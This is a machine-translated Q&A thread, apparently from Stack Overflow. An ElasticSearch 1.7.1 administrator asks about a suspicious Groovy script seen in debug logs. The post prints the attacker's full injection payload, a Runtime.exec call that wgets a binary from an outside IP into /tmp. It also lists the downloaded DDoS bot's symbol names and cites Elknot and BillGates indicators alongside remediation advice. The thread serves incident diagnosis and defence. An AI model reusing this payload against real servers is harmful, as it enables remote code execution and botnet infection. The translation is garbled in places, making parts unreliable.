ElasticSearch Groovy脚本错误,可疑请求

时间:2015-08-10 07:06:11

标签: groovy elasticsearch botnet

我刚刚更新到ElasticSearch 1.7.1并且正在填充数据库。虽然我一直收到以下错误(或调试消息):

[2015-08-09 03:20:23,429][DEBUG][action.search.type       ] [NODE_NAME] [index_name][0], node[vw6fq_XPSuWsBWHN6aKepw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@6dee1ca] lastShard [true]
org.elasticsearch.search.SearchParseException: [index_name][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:483)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731)
    ... 9 more

起初,我想过修复这个错误,但我还没有编写任何Groovy脚本。所以我开始阅读这条消息,并发现:

Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()
知识产权使我感到困惑,因为它不是我的(它是中国人)。所以我对wget进行了沙盒化,并创建了一个字符串(来自byte []),结果是:

CC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3) GCC: (GNU) 4.4.6 20120305 (Red Hat 4.4.6-4)  .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment   
crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.5972 dtor_idx.5974 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux main.c rdtsc _GLOBAL_OFFSET_TABLE_ __init_array_end __init_array_start _DYNAMIC GET_Flood data_start __errno_location@@GLIBC_2.0 srand@@GLIBC_2.0 connect@@GLIBC_2.0 getpid@@GLIBC_2.0 pthread_join@@GLIBC_2.0 strerror@@GLIBC_2.0 __libc_csu_fini sysconf@@GLIBC_2.0 _start pthread_exit@@GLIBC_2.0 Get_Net_Message CreateTimeer random@@GLIBC_2.0 Send_Host_Message signal@@GLIBC_2.0 NetSpeed __gmon_start__ _Jv_RegisterClasses _fp_hw rewind@@GLIBC_2.0 __isoc99_sscanf@@GLIBC_2.7 DoorThread SynFLood_Message _fini inet_addr@@GLIBC_2.0 write@@GLIBC_2.0 sendto@@GLIBC_2.0 fgets@@GLIBC_2.0 memset@@GLIBC_2.0 AnalysisAddress getOutRates UDP_Flood __libc_start_main@@GLIBC_2.0 uname@@GLIBC_2.0 htons@@GLIBC_2.0 read@@GLIBC_2.0 perror@@GLIBC_2.0 usleep@@GLIBC_2.0 SYN_Flood _IO_stdin_used gettimeofday@@GLIBC_2.0 Stream_Flood id ServerConnectCli __data_start TurnonKeepAlive DoorSocket ioctl@@GLIBC_2.0 socket@@GLIBC_2.0 getNetRates fclose@@GLIBC_2.1 bcopy@@GLIBC_2.0 GetCpuRates SetDNSHead memcpy@@GLIBC_2.0 strlen@@GLIBC_2.0 MainThread DealwithDDoS fopen@@GLIBC_2.1 _SendInfo __dso_handle strcpy@@GLIBC_2.0 __DTOR_END__ __libc_csu_init printf@@GLIBC_2.0 StopFlag DNS_Flood select@@GLIBC_2.0 close@@GLIBC_2.0 MainSocket strstr@@GLIBC_2.0 time@@GLIBC_2.0 ICMP_Flood m_OnlineInfo _ConnectServer __bss_start CpuSpeed pthread_create@@GLIBC_2.1 sleep@@GLIBC_2.0 __ConnectServer send@@GLIBC_2.0 _end puts@@GLIBC_2.0 _ServerConnectCli setsockopt@@GLIBC_2.0 ChName rand@@GLIBC_2.0 bzero@@GLIBC_2.0 usage netuse CheckSum fread@@GLIBC_2.0 getsockopt@@GLIBC_2.0 SendSpeed _edata snprintf@@GLIBC_2.0 gethostbyname@@GLIBC_2.0 exit@@GLIBC_2.0 __i686.get_pc_thunk.bx main Get_Cpu_Message _init

所以我发现了c代码,我发现DealWithDDos调用很有趣。

我无法找出代码是什么,代码来自哪里,以及它为什么要运行。有谁知道这是什么吗?以及如何摆脱它?

PS,我还收到了另一条错误消息,另一个调用exec(\"whoami\")的奇怪脚本。根据{{​​3}},此代码用于尝试通过执行系统命令来取消装配Groovy。
exec(\"echo qq952135763\"),只匹配(等待......)中文...

更新

所以,感谢Val的评论,问题制定者:ends.cc。 Botnet报告ElasticSearch:Chinese Botnet

此外,由于我刚刚更新了ElasticSearch,创建了全新的索引(一切都是新的),我已经从外部排除了ES(显然对于漏洞来说已经太晚了,但仍然如此),因此某些进程必须运行到向ES发送请求。哪一个?脚本在哪里调用?

(值得关注)更新2

更新中描述的报告中,他们描述了针对ElasticSearch的两个(相关)恶意软件产品:BillGatesElknot

Elknot上的page 7的最后一段是<{1}}上的值得注意的。

  

Elknot滴管的作者没有提供任何手段   重启后持久性,一旦受害者的机器重新启动   由管理员或系统崩溃,感染停止。

BillGates恶意软件:您可以查看是否有此表单(引自The Elastic Botnet Report最后一页:

  

BillGates感染的一个常见指标是存在   /tmp/moni.lock以及受害者的/tmp/bill.lock文件   机。此外,/ usr / bin目录下的目录   包含名称bsd-port可能是可疑的。

仍然,如何摆脱它?

  • Elknot - &gt;重启所有服务器(同时!)
  • BillGates - &gt;建议在检测到此类恶意软件时重新安装3

1 个答案:

答案 0 :(得分:1)

稍后更新
 事先说明:由于某种原因,仍然访问了该线程,这导致我发出警告,将ElasticSearch升级为&gt; 1.5尽快。确保{your_external_ip}:{port}不能从除localhost之外的任何地方调用 - 如果有的话。最后,请注意使用Groovy,尤其是在沙盒之外。

原始答案

因此出现了两个不同的问题:
1)正如@Val指出的那样,中国的僵尸网络得到了我(他们事先得到了我,但是我没有运行ElasticSearch的版本,默认情况下脚本被禁用)。这个僵尸网络已被Novetta调查,他们发现运行了两个主要脚本(当计算机已被感染时):ElknotBillGates - 它们共享一些代码。 (他们发现10个不同的脚本试图感染服务器,而不是所有高质量的脚本(参见第41-54 1页)

两者之间的一个巨大差异,Elknot更简单,因为它不会试图成为持久性,BillGates会这样做。要了解您拥有哪些版本,您可以执行以下操作:

  • 执行重启。当(几个小时后)系统没有显示奇怪的活动(wget -o)时,你有Elknot,否则你可能有BillGates
  • 由于与Elknot相比,BillGates是持久性的,您可能会在/tmp/{moni.lock, notify.file, gates.lock, bill.lock}中看到其签名,您必须能够在{{1}中看到它目录文件/etc/rc?.dSDbSecuritySpt97(请参阅第/etc/resolv.conf 1页),使用25-31命令(请参阅第lsof {{3}页})

幸运的是,对我来说,似乎我有39-41,所以我不需要重新安装。但是我仍然有类似的警告消息,包括对elknotwhoami的运行时调用。为什么?

因为已知漏洞(如更新中所述)是Groovy脚本调用系统命令的时间。这可以取消对脚本进行取消分配,从而为其提供电源。

echo qq{some numbers}未解决此问题,因为它仅停止reboot。显然还有其他问题。我发现我仍然可以通过elknot致电external.ip.address:9200以获得回复。此外,从外部源,我可以将节点绑定到网络 - 哑巴(我以为我几个月前解决了)。要解决此问题,请注意HTTP中的以下设置:

elasticsearch.yml